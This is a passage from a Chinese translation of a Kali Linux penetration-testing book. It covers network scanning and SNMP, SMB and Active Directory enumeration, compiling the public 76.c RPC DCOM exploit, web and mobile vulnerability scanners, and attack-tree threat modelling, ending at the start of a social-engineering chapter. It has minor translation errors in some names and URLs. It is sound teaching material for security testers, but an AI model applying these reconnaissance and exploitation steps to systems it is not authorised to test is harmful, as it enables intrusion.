有时，存在大量的目标，需要进行大规模的扫描。例如，在一个全球化公司中，通常有一些IP分组作为外部互联网的一部分存在。如第2章中提到的，攻击者的扫描没有时间限制，但渗透测试人员有。测试员可以使用多种工具来执行活动；Masscan是其中一种工具，它可以大规模扫描IP分组，并迅速分析目标主机是否活动。在默认情况下，Masscan安装在Kali中。Masscan的最大优势是随机分配主机和速度，具备灵活性和兼容性。图3.24提供了一个C类扫描网络，几秒钟内就可以完成并识别在目标主机可用端口上运行的服务。 图3.24 用Masscan大规模扫描 3.10.1 DHCP信息 动态主机配置协议（Dynamic Host Configuration Protocol，DHCP）是一种为网络上的主机动态分配IP地址的服务。该协议在TCP/IP协议栈的数据链路层的MAC子层上运行。选择自动配置后，客户端将向DHCP服务器发送广播查询，当从DHCP服务器收到响应时，客户端再向DHCP服务器发送广播查询请求所需信息。服务器现在将为其分配配置参数（如子网掩码、DNS和默认网关）及一个IP地址。 一旦连接到网络，嗅探（Sniffing）就是被动收集信息的最好方法。攻击者能够看到很多广播流量，如图3.25所示。 图3.25 攻击者嗅探到各种信息 我们将看到DNS、NBNS、BROSWER和其他协议的流量，而且这些协议可能会泄露主机名、VLAN信息、域，以及活动子网等。我们将在第11章中讨论更多的攻击。 3.10.2 内部网络主机的识别与枚举 如果攻击者系统已经配置了DHCP，它会提供一些对内部网络映射非常有用的信息。可以通过在Kali终端输入ifconfig来获得DHCP信息，如图3.26所示。 图3.26 用ifconfig命令获取DHCP信息 你将看见以下信息： ·inet：DHCP服务器获取的IP信息应当给我们提供可能有效的子网，我们可以通过不同的扫描技术来识别实时系统和服务的列表。 ·netmask：此信息可用于计算子网范围，图3.26显示的是255.255.240.0，这意味着CIDR是/20，我们可能期望子网上有4094台主机。 ·Default gateway：网关的IP信息将提供ping其他类似网关IP的机会。例如，如果默认网关IP为192.168.1.1，则使用ping扫描攻击者可能能够枚举出其他类似的IP，如192.168.2.1、192.168.3.1等。 ·其他IP地址：可通过访问文件/etc/resolv.conf获取DNS信息。该文件中的IP地址通常在所有子网中进行寻址，域信息也将在同一文件中自动使用。"},
    {"text": "3.10.3 本地MS Windows命令 表3.7提供了渗透测试或红队练习时的有用命令列表，甚至具有对系统的物理访问，或远程shell与目标进行通信。这些命令不仅仅包括以下内容。 表3.7 命令列表 3.10.4 ARP广播 在内部网络主动侦察期间，可以使用nmap（nmap-v-snIPrange）扫描整个本地网络，以嗅探ARP广播。此外，Kali可使用arp-scan（arp-scan IPrange）来标识在同一网络上存活的主机列表。 图3.27提供了针对整个子网运行arp-scan时在目标处生成的流量，这被认为是非隐形扫描。 图3.27 查看运行arp-scan时在目标处生成的流量 3.10.5 ping扫描 ping扫描是ping整个网络IP地址或单个IP，以查明它们是否存活和响应的过程。攻击者在任何大规模扫描中的第一步是枚举所有响应的主机。渗透测试人员可以利用fping、nmap，甚至是自己编写的bash脚本进行活动。 有时，由于防火墙阻止所有ICMP流量，攻击者可能会在ping扫描期间遇到路障。在ICMP分组的情况下，可以通过在ping扫描期间指定端口号的特定列表来进行识别，需要使用如下命令： 图3.28显示了使用fping工具发现的所有存活的主机。 图3.28 使用fping发现存活的主机 3.10.6 使用脚本组合Masscan和nmap扫描 在我们的基于目标的渗透测试策略中，Masscan的速度和可靠性与nmap的枚举能力相结合，是一个伟大的组合。本节将编写一个可以节省时间的小脚本，用于在开发过程和确定正确漏洞的过程中提供更准确的结果： 现在保存文件到anyname.sh和chmod+x anyname.sh。再运行命令：./anyname.shfilein-cludesipranges，如图3.29所示。 图3.29 执行脚本文件 3.10.7 利用SNMP SNMP代表简单网络管理协议；传统上它用于收集有关网络设备配置的信息，如打印机、集线器、交换机、互联网协议的路由器和服务器。攻击者可能会利用在UDP端口161（默认情况下）运行的SNMP，当配置不正确或缺省时，默认配置有一个默认社区字符串（community string）。SNMP自1987年开始开发：版本1传输明文密码，版本2c有一些性能的改进，但仍然是纯文本密码，最新的v3加密了具有消息完整性的所有流量。 在所有版本的SNMP中都有两种类型的社区字符串： ·Public：community sting用于只读访问。 ·Private：community sting用于读写访问。 攻击者首先要寻找的是互联网上的任何已识别的网络设备，并查明是否启用公共社区字符串，以便他们能够提取特定于某网络的所有信息，并绘制拓扑以创建更集中的攻击。这些问题的出现，是因为大多数时间基于IP的访问控制列表（IP-based Access Control Listing，ACL）通常未被实现或未被使用。 Kali Linux提供了多种工具来完成SNMP枚举，攻击者可以利用以下snmpwalk命令了解SNMP步骤的完整信息，如图3.30所示。 图3.30 用snmpwalk了解SNMP步骤的完整信息 攻击者还可以使用Metasploit执行SNMP枚举，方法是使用/auxiliary/scanner/snmp/snmpenum模块，如图3.31所示。某些系统已安装SNMP，但系统管理员可能忽略它。 图3.31 用Metasploit执行SNMP枚举 攻击者将能够通过Metasploit中的账户枚举模块来提取所有用户账户，如图3.32所示。 图3.32 提取目标用户账户 3.10.8 通过服务器消息块（SMB）会话的Windows账户信息 通常，在内部网络扫描期间，攻击者很有可能利用最常用的内部SMB会话。而在外部，攻击者可以使用nmap来执行枚举，但这种情况非常少见。以下nmap命令将枚举Windows机器上的所有远程用户。此信息通常会在后期创建许多入口点，例如强制攻击和密码猜测攻击： 攻击者还可以使用Metasploit模块——auxiliary/scanner/smb/smb_enumusers来执行活动。图3.33显示了Windows系统上运行Metasploitable3的用户的成功枚举。 图3.33 用Metasploitable3执行枚举 这可以通过对系统有效的密码猜测或者强制SMB登录来实现。 3.10.9 查找网络共享 最近已经忘记的、渗透测试人员最早使用的攻击之一是NETBIOS空会话，该攻击可以枚举出所有的网络共享： 同样，利用enum4linux（类似于来自bindview.com的enum.exe），此工具通常用于枚举来自Windows和Samba系统的信息： 选项有（类似enum）： ·-U：获取用户列表 ·-M：获取机器列表 ·-S：获取共享列表 ·-P：获取密码策略信息 ·-G：获取组和成员列表 ·-d：详细说明，适用于-U和-S ·-u user：指定要使用的用户名（默认为\"\"） ·-p pass：指定要使用的密码（默认为\"\"） enum4linux能提供更有效的扫描，并可标识域名列表和Domain SID，如图3.34所示。 图3.34 用enum4linux扫描IP地址 3.10.10 主动侦察目录域服务器 通常在内部渗透测试活动期间，渗透测试人员会获得用户名和密码。在现实中，攻击者在网络上的攻击方案是通过正常的用户访问来提升权限，从而达到攻破企业域的目的。 Kali提供了一个默认安装的rpcclient，可用于在活动目录环境中执行更主动的侦察。该工具提供了多个选项来提取关于域和其他网络服务的所有细节，我们将在第11章中进行探讨。 图3.35提供了域、用户和组列表的枚举。 图3.35 用rpcclient工具进行枚举"},
    {"text": "3.10.11 使用综合工具（SPARTA） 为加快完成渗透测试者的目标，Kali拥有SPARTA，它结合了多种工具，如nmap、nikto，并且还允许进行配置。为了配置SPARTA，用户必须编辑位于/etc/Sparta/的sparta.conf文件。当应用程序打开时，SPARTA将检查配置，如果没有配置，它将接受默认配置值。 在配置中可使用以下选项： ·工具（Tool）：命令行工具的唯一标识符，例如nmap。 ·标签（Label）：显示在上下文菜单上的文本。 ·命令（Command）：通常是非交互模式和使用工具运行的完整命令。 ·服务（Services）：这些是在自动运行期间需要运行的服务列表，例如，如果用户配置为运行nmap并且自动识别端口80，请运行nikto。 ·协议（Protocol）：TCP或UDP是工具应该运行于其上的服务。 3.10.12 配置SPARTA的示例 要将工具nikto配置为端口操作，我们需要将以下行添加到sparta.conf中的[PortActions]部分： 图3.36提供SPARTA针对本地子网的操作。在默认情况下，SPARTA可以在任何标识的Web服务端口上执行nmap全端口扫描和nikto，并且还可以使用截图（如果可用）。 图3.36 使用SPARTA对本地子网进行操作 3.11 小结 我们现在已经深入了解了主动侦察：在这些活动中攻击者面临着被发现的风险。从技术角度而言，攻击者在进行网络映射、查询开放端口、判定操作系统类型及安装应用程序等活动时，需要进行风险和需求的平衡。所以攻击者的真正挑战是采取隐身扫描技术，以降低他们被发现的风险。 手工方法通常用于创建低速扫描（slow scan），然而，这种做法可能并不总是有效。因此，攻击者利用Tor网络以及各种代理程序等工具来隐藏自己的身份。 在下一章，我们将重点关注如何使用脆弱性评估工具和技术，了解扫描程序如何识别漏洞，以及如何准备潜在的漏洞侦测。 第4章 漏洞评估 “找到一个风险是学习，识别风险的能力是一种技能，利用风险仅仅是一个选择。” 被动侦察和主动侦察的目的是确定可利用的目标，漏洞评估的目的是找出最有可能支持测试者或攻击者目标（拒绝服务、盗窃或修改数据）的安全漏洞。在杀链的利用阶段，漏洞评估的重点是创建访问以实现漏洞的目标映射，以排列漏洞和保持对目标的持续访问。 数以千计可利用的漏洞已经确定，而且大多数是与至少一个概念验证代码或技术相关联的，允许系统受到攻击。尽管如此，网络、操作系统和应用程序成功的基本原理是相同的。 在本章中您将学到： ·使用网上以及本地漏洞资源 ·使用nmap进行漏洞扫描 ·LUA脚本 ·编辑自己的nmap NSE脚本 ·搜索和自定义各种漏洞扫描器 ·威胁建模 4.1 漏洞命名 漏洞扫描采用自动化过程和自动化应用程序，以确定在网络、系统、操作系统或应用程序中可能利用的漏洞。 当执行正确时，一个漏洞扫描装置提供一个设备清单（授权和恶意设备），已经主动扫描已知的漏洞，通常还会提供一个确认的符合该设备的各种政策和法规的说明。 不幸的是，漏洞扫描提供一些容易被大多数网络控制检测到的噪声——多分数据包，隐形几乎不可能实现。它们还遭受以下附加的限制： ·在大多数情况下，漏洞扫描器是基于签名的，它们只能检测已知的漏洞，且仅当有一个已经存在的识别标志——该扫描仪可以应用于目标。对一个渗透测试者，最有效的扫描软件是开源的，允许测试人员快速修改代码来检测新的漏洞。 ·扫描器产生大量的输出，通常包含错误结果，可能导致测试人员误入歧途；特别是，不同的网络操作系统，产生的不正确信息的比率高达70%左右。 ·扫描器可能对网络有负面影响，他们可以创建网络延迟或导致某些设备的失效（参照网络扫描列表（Network Scanning Watch List），网址为 www.digininja.org ，其中列出了漏洞测试引起的已知失效的设备）。 ·在某些控制区，扫描被认为是黑客攻击，并可能构成违法行为。 有多个商用的和开源的漏洞扫描软件。"},
    {"text": "4.2 本地和在线漏洞数据库 总之，被动侦察和主动侦察确定了目标的攻击面，也就是说，可以对漏洞进行评估的点的总数。服务器是否能够被渗透与所安装的操作系统是否存在漏洞相关；然而，潜在的漏洞数量将随着安装的应用程序的数量的增长而增长。 渗透测试者和攻击者必须找到即将攻击的具体漏洞，包括已知的漏洞以及怀疑的漏洞。漏洞搜索可以从供应商的网站开始；在发布补丁和升级的同时，大多数的硬件和应用程序供应商会提供和安全漏洞相关的信息。如果一个特定弱点的利用是已知的，大多数供应商都会向客户强调那些特定的、已知的漏洞。虽然他们的目的是让客户来测试漏洞是否存在，但同时，攻击者和渗透测试者也可以利用这类信息。 收集、分析和共享有关漏洞的网站信息如下： ·国家漏洞数据库（The National Vulnerability Database）整合了所有由美国政府发布的公开漏洞数据： http://web.nvd.nist.gov/view/vuln/search 。 ·安全监控网站Secunia： http://secunia.com/community/ 。 ·数据包风暴（Packetstorm）安全网址： http://packetstormsecurity.com/ 。 ·安全焦点（SecurityFocus）网址： http://www.securityfocus.com/vulnerabilities 。 ·由Offensive Security维护的可以利用的漏洞数据库网址： http://www.db-exploit.com 。 漏洞数据库也被复制到本地Kali，并且可以在/usr/share/exploitdb目录中找到。 搜索漏洞数据库（exploitdb）的本地副本，需要打开终端窗口，在命令提示符下输入searchsploit和需要搜索的关键词。这将调用一个脚本，脚本搜索含所有漏洞列表的数据库文件（.csv）。搜索将返回对已知漏洞的描述，以及和该漏洞相关的路径。特定漏洞可以被提取、编译和运行。图4.1是漏洞数据库的查询图。 图4.1 查询漏洞数据库（exploitdb） 搜索脚本从左至右扫描数据库CSV文件中的每一行，因此搜索项的顺序很重要，对于oracle 10g数据进行搜索将返回多个漏洞，但10g oracle数据本身不会返回任何漏洞。并且，该脚本是区分大小写的；虽然对搜索词要求使用小写字符，搜索Bulletproof FTP不会返回任何结果，但搜索bulletproof FTP会返回7个结果。可以通过使用grep命令，或搜索工具如KWrite（apt-get install kwrite），对数据库文件CSV进行更有效的搜索。 通过扫描和路径列表对本地数据库进行搜索，可以识别几种可能的漏洞；然而，这需要根据你的相应环境进行定制，并在使用前进行编译。复制漏洞到/tmp目录下（给定路径不考虑保留在/platforms目录中的/windows/remote目录）。 漏洞利用以脚本的形式呈现，例如，Perl、Ruby和PHP等，都是相对易于实现的脚本语言。例如，如果攻击目标是Microsoft II 6.0服务器，攻击者会相对容易绕过远程认证，复制该漏洞利用到根目录，然后像标准的Perl脚本那样执行，如图4.2所示。 图4.2 运行标准的Perl脚本 许多漏洞在使用前必须像源代码那样进行编译。例如，搜索RPC-specific漏洞，识别多种可能的漏洞利用。摘录如图4.3所示。 RPC DCOM漏洞识别工具，如76.c，实践中证明它是相对稳定的。因此，我将用它作为例子。为了编译该漏洞利用工具，首先将它从存储目录复制到/tmp下。在该位置，使用GCC的命令进行编译，命令如下： 图4.3 PRC漏洞利用编译截图 这里将使用GNU编译器集（GNU Compiler Collection）对76.c进行编译，然后输出（-o）文件76.exe，如图4.4所示。 图4.4 用GNU编译76.c，生成76.exe 当针对目标调用应用程序时，你必须使用如下所示的符号链接来调用可执行文件（该文件并未存储在/tmp目录）： 这个漏洞利用的源代码有清晰的文档记录，并且，需要执行的参数一目了然，如图4.5所示。 图4.5 76.exe文件的运行参数 遗憾的是，不是所有来自漏洞数据库和其他公共资源的漏洞都像76.c一样容易编译。这里为渗透测试者列出了几种可能存在危险的漏洞利用情况： ·会经常遇到蓄意的错误或不完整的源代码，因此有经验的开发人员尽量让漏洞远离没有经验的用户，尤其是试图破坏系统但又不清楚自己行为将带来什么风险的新手。 ·漏洞利用并不总是有详尽的文档解释；毕竟，没有一个标准用于管理数据系统攻击代码的创建和使用。作为一个结果，实践往往较为困难，特别是对于缺乏应用开发的测试者。 ·由于环境变化导致行为不一致（新的补丁应用到目标系统、目标应用程序中的语言变化）可能需要对源代码进行重大调整；这需要一个有经验的开发人员。 ·免费提供的、包含恶意的代码，总是存在风险。渗透测试人员可能会认为他是在进行概念验证（POC）练习，并不知道该代码同时为该应用程序建了一个后门，可以供开发者使用。 为了确保结果的一致性，遵循一致性实践的程序员创建了一个程序员社区，已经开发出几种渗透利用的框架。其中，最为流行的是Metasploit框架。"},
    {"text": "4.3 用nmap进行漏洞扫描 没有nmap就不能安全运行分配，到目前为止，我们已经讨论了如何在主动侦察中使用nmap，但攻击者不仅会用nmap来查找开放的端口和服务，而且还会用nmap来执行漏洞评估。截止到2017年3月10日，nmap的最新版本是7.40，附带500+NSE（nmap脚本引擎）脚本，如图4.6所示。 图4.6 查看nmap 7.40的脚本库 渗透测试人员能够利用nmap最强大和最灵活的功能，编写自己的脚本，并使其自动化以方便利用。开发NSE的主要原因如下： ·网络发现：攻击者利用nmap的主要目的是网络发现，正如我们在第3章的主动侦察中所学到的一样。 ·服务的分类版本检测：共计1000种服务。把多个版本的详细信息集中到同一个服务上显得更加复杂。 ·漏洞检测：在广泛的网络范围内自动识别漏洞；然而，nmap本身并不完全是漏洞扫描程序。 ·后台检测：如果网络上有任何蠕虫感染，一些脚本将被写入以识别该模式，这样使得攻击者的工作变得更集中，能专注于远程接管机器。 ·漏洞利用：结合nmap的漏洞利用能力，攻击者还可以利用nmap与其他工具（如Metasploit）结合开发，或者编写一个定制的反向shell代码。 在启动nmap执行漏洞扫描之前，渗透测试人员必须更新nmap脚本数据库，查看是否有新脚本添加到数据库中，防止错过该漏洞识别： 针对目标主机运行所有脚本： 4.3.1 LUA脚本介绍 一种轻量级嵌入式脚本语言，1993年在巴西创立的，建立在C语言之上，至今仍然在积极发展中。它是一种强大而快速的编程语言，主要用于游戏应用和图像处理。一些平台的完整的源代码、手册和二进制文件一般不超过1.44MB（小于软盘）。LUA开发的安全工具有nmap、Wireshark和Snort 3.0等。 选择LUA作为信息安全的脚本语言的原因之一是由于紧凑性，没有缓冲区溢出和格式化字符串漏洞，并且可以做出解释。 LUA可以通过在终端上使用apt-get install lua5.1命令直接安装到Kali Linux。以下代码是用于读取文件并打印第一行的示例脚本： LUA类似于任何其他脚本，例如bash和PERL脚本。图4.7是前面的脚本的输出结果。 图4.7 执行上述脚本文件的结果 4.3.2 自定义NSE脚本 为了实现效率最大化，自定义脚本有助于渗透测试人员在规定时间内找到正确的漏洞。但是，攻击者并没有时间限制。以下代码是一个LUANSE脚本，使用nmap标识在整个子网上搜索的特定文件位置： 将文件保存到/usr/share/nmap/scripts/文件夹中。最后，保证可运行NSE脚本，准备好进行脚本测试，如图4.8所示。 图4.8 用nmap执行LUANSE脚本 为了了解上面的NSE脚本，这里解释代码中的内容： ·local http:需要http-从LUA调用正确的库，该行调用HTTP脚本并将其作为本地请求。 ·Description：测试者/研究人员可以输入脚本的解释。 ·Categories：这通常有两个变量，其中一个声明它是安全还是侵入。 4.4 Web应用漏洞扫描器 使用自动化工具扫描漏洞可能会产生问题。网络漏洞扫描器具有所有扫描器的共同缺点（扫描器只能检测已知漏洞的签名，它们不能确定一个漏洞实际上是否还可以被利用；还有就是假阳性的报告发病率很高）。此外，网页漏洞扫描器不能识别业务逻辑的复杂错误，它们没有准确地模拟黑客所使用的复杂链接攻击。 在努力提高可靠性方面，许多渗透测试者使用多种工具扫描Web服务；当多个工具同时报告可能存在一个特定的漏洞，这样的共识将直接驱使测试者手动验证漏洞是否存在。 Kali针对Web服务配有大量漏洞扫描器，并为安装新的扫描仪和扩展其能力提供了一个稳定平台。这就允许渗透测试人员通过选择扫描工具来提高测试的有效性： ·最大限度的完整性（漏洞发现的总数）和测试精度（这是真实的，没有假阳性结果的漏洞）。 ·尽量减少所需的时间，以获得可用的结果。 ·尽量减少对被测试网络服务的负面影响。这包括由于流量的增加而使系统反应变慢。 ·例如，最常见的负面影响之一是测试结果的形式，输入数据到数据库，然后通过电子邮件发送，一个人提供了一个已经发生更新变化的系统，不受控制的测试结果形式，可以导致发送超过30000封电子邮件！ ·选择最有效的工具是非常复杂的。除了已经列出的因素，一些漏洞扫描器也具有相应的漏洞利用和支持后期漏洞活动的功能。对于我们而言，我们会考虑所有工具，扫描可利用的弱点是“漏洞扫描”。Kali提供几种不同的漏洞扫描器，主要如下： ·扫描器扩展了传统的漏洞扫描程序的功能，包括网站和关联服务（Metasploit框架和Websploit）。 ·扫描器拓展了非传统的功能应用，如Web浏览器，支持Web服务漏洞扫描（OWASP Mantra）。 ·扫描器是专门开发用于支持对网站和网页服务的侦察和利用检测（Arachnid、Nikto、Skipfish、Vega、w3af等）。"},
    {"text": "4.4.1 Nikto和Vege简介 Nikto是对Web服务器执行全面测试活动最有效的Web应用扫描程序之一。基本功能是检查超过6700个有潜在危险的文件或程序，检查服务器的过时版本，以及超过270台服务器的特定版本的漏洞；服务器错误配置、索引文件、HTTP方法，以及尝试识别已安装的Web服务器和软件版本。Nikto根据Open-General公共许可证版本（ https://opensource.org/license/gpl-license ）发布。 一个基于Perl的开源扫描器，允许躲避IDS以及用户改变扫描模块；然而，这种“原生态”的网络扫描器仪开始跟不上形势发展，它没有某些现代扫描器准确。 大多数测试者开始测试一个网站时都使用Nikto，这是一个简单的扫描器（特别是有关结果报告），通常提供准确但有限的结果。这种扫描的一个样本输出显示如图4.9所示。 下一步是使用更先进的扫描器扫描大量的漏洞；相对来说，它们可能需要更长的时间来完成。复杂的漏洞扫描是不寻常的（如确定被扫描的网页的数目，也就是网站的复杂性，可能包含多种页面，允许用户输入，如搜索功能或表单，从用户的后台数据库收集数据），需要数天才能完成。 图4.9 使用Nikto测试网站 一种基于验证发现漏洞数量的、最有效的扫描器是Subgraph Vega。如图4.10所示，它会扫描目标，并将漏洞分级为高、中、低或信息。为了得到特别的结果，该测试仪能够点击确定结果为“drill down”（深入）。该测试仪还可以修改搜索模块，这是用Java编写的，专注于特定的漏洞或找出新的安全漏洞。 图4.10 使用Subgraph Vega发现漏洞 Vega可以帮助用户找到漏洞，例如映射跨站点脚本、存储跨站点脚本、盲SQL注入、远程文件包含、shell注入等。Vega还可以对TLS/SSL进行安全设置，提高TLS服务器安全性。 Vega还提供了Proxy部分的特殊功能，允许渗透测试人员回复请求并观察响应以执行验证，我们称之为手动PoC。图4.11显示了Vega的代理部分的内容。 图4.11 Vega的代理部分的内容 4.4.2 定制Nikto和Vege 从Nikto2.1.1版本开始，社区允许开发人员调试和调用特定的插件，同样，从版本2.1.2开始可以相应地进行定制，所有插件都在列表中，然后指定一个特定的插件来执行任何扫描。 目前渗透测试员可以使用的插件大约有35个；图4.12提供了在最新版本的Nikto中可用的插件： 例如，如果攻击者发现工具信息，如Apache server 2.2.0，那么Nikto会通过命令：nikto.pl-host<hostaddress>-port<hostport>-useragentnikto-useproxy http://127.0.0.1:8080 来第一个扫描burp或者其他代理工具；可以通过运行以下命令将Nikto自定义为仅为Apache用户枚举运行的特定插件： 渗透测试者的运行结果如图4.13所示。 当Nikto插件成功运行时，输出文件apacheusers.xml将包含目标主机上的活动用户。 与Nikto类似，Vega还允许我们通过导航窗口并选择偏好项（Preferences）来定制扫描器，通过它可以设置一般的代理配置，甚至可以为第三方代理工具指定流量。然而，Vega有自己的代理工具可以使用。图4.14提供了在开始Web应用程序扫描之前可以设置的扫描器选项。 图4.12 Nikto中可用的插件列表 图4.13 用Nikto自定义针对Apache的特定插件 攻击者可以定义自己的用户代理或模拟任何知名的用户代理，如IRC bot或Google bot，还可以配置最大数量的总派生和子进程，可以遍历的路径数。例如，如果泄露显示了 www.target.com/admin/ ，有一个字典添加到URL： www.target.com/admin/secret/ 。默认情况下最大值设置为16，但是攻击者可以利用其他工具来深入挖掘，以最大限度地提高Vega的有效性，并且精确地选择路径的正确数量，在存在保护机制的情况下，例如WAF或网络等级IPS，渗透测试员可以选择以每秒慢速连接的速度扫描并发送到目标。还可以设置最大响应，默认设置为1MB（1024kB）。 一旦设置了首选项，在添加新扫描时可以进一步自定义扫描。当渗透测试人员点击新的扫描，输入基本URL进行扫描并单击下一步。测试人员自定义扫描，如图4.15所示： 图4.14 Vege扫描器列表 图4.15 Vege选择模块界面 Vega提供两个部分进行自定义：一个是注入模块，另一个是响应处理模块： ·注入模块（Injection modules）：这包括作为内置Vega Web漏洞数据库一部分的漏洞利用模块列表，并测试目标的漏洞，例如盲SQL注入、XSS、远程文件包含、本地文件包含、标题注入等。 ·响应处理模块（Response processing modules）：这包括可以作为HTTP响应本身的一部分安全配置列表，例如目录列表、错误页面、跨域策略、版本控制字符串，等等。Vega还支持测试人员添加自己的插件模块（ https://github.com/subgraph/Vega/ ）。"},
    {"text": "4.5 移动应用漏洞扫描程序 渗透测试员经常忽视在商店（苹果、谷歌等）上的移动应用程序；然而，这些应用程序也会用作网络入口点。在本节中，我们将介绍如何快速设置移动应用程序扫描程序，以及如何将移动应用程序扫描程序的结果组合在一起，并利用信息来识别更多的漏洞以实现渗透测试的目标。 移动安全框架（Mobile Security Framework，MobSF）是针对所有移动平台（包括Android、iOS和Windows）的开源自动渗透测试框架。整个框架是用Django Python框架编写的。 该框架可以从 https://github.com/ MobSF/Mobile-Security-Framework-MobSF直接下载，也可以通过git clone从Kali克隆，克隆命令为：git clone https://github.com/MobSF/Mobile-Security-Framework-MobSF 。 复制好框架后，按照以下步骤加入移动应用扫描仪： 1.cd Mobile-Security-Framework-MobSF/。 2.pip install-r requirements.txt。 3.安装完成后，通过输入python manage.py test来测试配置设置；你应当可以看到类似如图4.16所示的内容。 图4.16 在Kali Linux上测试配置设置 4.现在安装转移应用程序： 5.运行漏洞扫描器python manage.py runserver y ourIPaddress：portnumber，如图4.17所示： 图4.17 运行漏洞扫描器 6.在浏览器中访问URL： http://yourIPaddress：Portnumber ，将侦察期间发现的任何移动应用程序上传到扫描器，用于识别入口点。 7.一旦文件上传，渗透测试人员可以识别配置扫描仪器的文件以及所有其他重要信息，如图4.18所示。 图4.18 查看配置扫描器的文件信息 此信息有时可用于其他已识别服务和漏洞的硬编码凭据。移动安全框架中更重要的部分是URL、恶意软件和字符串。这令我们在渗透测试期间要更加注重细节。 4.6 网络漏洞扫描程序OpenVAS 开放漏洞评估系统（Open Vulnerability Assessment System，OpenVAS）是一个开源的漏洞评估扫描器，也是攻击者通常用来大规模扫描网络的漏洞管理工具，其中包括大约有47000个漏洞的数据库；然而，与其他商业工具（如Nessus、nexpose、Qualys等）相比，这可以被认为是一个慢的网络漏洞扫描程序。 如果OpenVAS尚未安装，请确保Kali是最新版本，并通过运行apt-get install Openvas命令安装最新的OpenVAS。安装完成后，运行openvas-setup命令设置OpenVAS。为了确保安装可行，渗透测试人员可以运用行命令openvas-check-setup，它会列出运行OpenVAS所需的前10个项目。安装成功后，测试人员应该能够看到如图4.19所示内容。 图4.19 OpenVAS安装成功的界面 接下来，通过运行openvasmd-user=admin-new-password=YourNewPassword1，-new-password=YourNewPassword1命令创建管理员用户，并通过从提示符运行openvas-start命令启动OpenVAS扫描程序和OpenVAS管理器服务。根据带宽和计算机资源，这可能需要一段时间。安装和更新完成后，渗透测试人员应能够使用SSL（ https://localhost:9392 ）访问端口9392上的OpenVAS服务器，如图4.20所示。 下一步是通过使用yournewpassword1作为密码，输入admin作为管理员来验证用户凭据，测试人员应该可以顺利登录，登录成功后如图4.21所示。攻击者现在可以通过输入目标信息，并从扫描器界面点击Start Scan（开始扫描）来设置OpenVAS。 图4.20 选择端口访问OpenVAS 图4.21 OpenVAS主界面 定制OpenVAS 与其他扫描器不同的是OpenVAS还可以自定义扫描配置，它允许测试人员添加凭证，禁用特定的插件，并设置可以进行的最大和最小连接数等。 图4.22显示了允许攻击者更改所有必需设置以相应地进行自定义的位置： 图4.22 OpenVAS自定义扫描配置界面 4.7 专业扫描器 杀链的利用阶段是最危险的一个阶段，渗透测试者或攻击者直接与目标网络或系统交互，他们的活动很可能会被记录，他们的身份也很可能会被发现。因此，必须采用隐身技术，以最大限度地减少测试者暴露的风险。虽然没有具体的方法或工具可以确定无法检测的，但是，改变一些配置，以及利用特别的工具，将使检测更加困难。 另外值得使用的扫描器是Web应用程序攻击和审计框架（Web Application Attack and Audit Framework，w3af），一个基于Python的开源Web应用程序安全扫描器。它提供预配置的漏洞扫描，以支持诸如OWASP标准。使用扫描器的过多选项是有代价的，它需要的时间明显长于其他扫描器审查目标的时间，并且在很长的测试时间中，很容易出现故障。配置为样本网站的完整审计w3af实例，如图4.23所示。 Kali还包括一些特殊应用的漏洞扫描器。例如，WPScan是专门用于WordPress CMS应用的。 图4.23 使用w3af审计"},
    {"text": "4.8 威胁建模 被动和主动侦察阶段，将在目标网络和系统之间形成映射，同时识别攻击者可利用的安全漏洞。在这个阶段，攻击者的杀链对动作有一个强烈的偏见——测试者希望通过直接启动攻击来证明他们可以击垮目标。然而，意外攻击可能并不是实现目的最为有效的手段，它可能以牺牲所需要的隐身性为代价来实现攻击目的。 渗透测试者已经采取的（正式或非正式的）一个过程，被称为威胁建模。这最初是由网络规划者发展起来的，制定针对攻击的防御对策的过程。 渗透测试者和攻击者通过不断寻找防御威胁建模方法来提高攻击的成功率。攻击威胁建模是制定攻击策略的一个较为常见的手段，它将侦察和研究的结果相结合。攻击者必须充分考虑现有的目标，并确定目标是以下何种类型： ·首要目标：当这些目标被击垮时，这些目标将直接帮助攻击者达到目的。 ·次要目标：这些目标可以提供信息（安全控制、密码、登录政策、本地，以及域管理员名字和密码）以支持对首要目标进行攻击或访问。 ·第三目标：这些目标可能与测试或攻击无关，但是相对容易攻击，可以为实际攻击提供信息或者其他的思路。 对每种类型的目标，测试者需要确定相应的测试方案。单个漏洞可以通过隐身技术进行攻击，而多目标可以通过大量攻击来对目标进行快速渗透。如果实施一个大规模的攻击，防护者的控制装置产生的噪声，经常会导致他们减少在路由器和防火墙的登录次数，甚至完全禁用它们。 该方法对渗透选择具有指导性作用。一般情况下，攻击者创建威胁模型时，将遵循图4.24所示的攻击树方法。 图4.24 威胁模型的攻击树图 攻击树方法为测试者查看可用的攻击选项提供了便利，如果一个攻击方案没有成功，也可以快速找到替代方案。一旦生成攻击树，接下来渗透阶段需要确定该渗透是否可以对目标对象的漏洞进行攻击。在上面的攻击树中，我们可视化了获取工程文档的目标，这对于提供工程服务的组织来说更为关键。 4.9 小结 在本章中，我们重点介绍了多个漏洞评估工具和技术。我们已经学习到如何用NSE编写自己的nmap漏洞脚本和使用工具，这些工具可以将主动侦察的结果转换为一个定制的活动，该行动将建立起测试人员和目标之间的访问。 Kali提供了一些工具来方便开发、选择和漏洞利用，包括内部exploit-db数据库，以及简化漏洞利用和管理的几个框架。 下一章将重点介绍攻击者杀链最重要的部分——利用阶段。物理安全是访问数据系统的一种方法（如果你可以启动或者有root权限！）；物理安全与社会工程紧密联系，黑客的艺术与对他们的信任息息相关。这是攻击的一部分，在这里攻击者实现他们的目标。典型的利用活动包括利用访问控制来横向扩展和利用窃取用户凭据来纵向扩展。 第5章 物理安全和社会工程学 “如果你认为你可以或不可以——你都是对的。” 亨利·福特 社会工程是从人类提取信息的一门艺术。在与目标系统的物理访问相结合的时候，它可能更有效。在渗透测试和真实攻击中，它是最成功的攻击方法之一。社会工程学攻击能够成功的关键因素有以下两个： ·在侦察阶段获取的信息，攻击者必须知道目标的名称和用户名称；更重要的是，攻击者要弄清楚目标网络中用户所关注的东西。 ·弄清楚如何利用这些信息，通过角色模仿，用电话与他们交谈，向他们发送请求，劝说可能的目标点击某个链接或者执行某个程序，从而进行攻击。例如，如果目标企业与之前的竞争对手合并不久，那么员工的工作安全就是最受关注的。因此，标题的内容与上述话题有关的邮件或者文档，更容易被目标企业的员工打开。 Kali Linux提供了一些工具和框架，再利用社会工程去影响受害者，使其打开文件或执行某些操作时，这些工具和框架能够增加成功的机会。在提供的实例中，包括了脚本攻击（例如Visual Basic、WMI和PowerShell脚本）、使用Metasploit框架生成的可执行文件和浏览器攻击框架（The Browser Exploitation Framework，BeEF）。 本章集中介绍社会工程学工具包SEToolkit（Social-Engineer 